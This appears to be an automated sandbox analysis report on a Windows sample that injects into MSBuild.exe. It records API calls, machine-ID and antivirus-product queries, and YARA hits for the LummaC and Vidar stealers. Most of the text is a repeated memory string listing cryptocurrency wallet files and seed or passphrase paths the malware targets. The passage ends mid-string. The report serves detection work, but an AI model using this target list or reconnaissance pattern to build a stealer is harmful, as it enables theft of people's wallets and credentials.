Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_0031A0A0
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: GetLocaleInfoW,	8_2_0031A1A6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_0031A275
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: EnumSystemLocalesW,	8_2_00311A32
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: EnumSystemLocalesW,	8_2_00319BB3
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: EnumSystemLocalesW,	8_2_00319BFE
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: EnumSystemLocalesW,	8_2_00319C99
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_00319D24
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: GetLocaleInfoW,	8_2_00311EDC
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: GetLocaleInfoW,	8_2_00319F77

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005B76AF GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_005B76AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s Defender\MsMpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5d8ad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5d8ad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7032, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 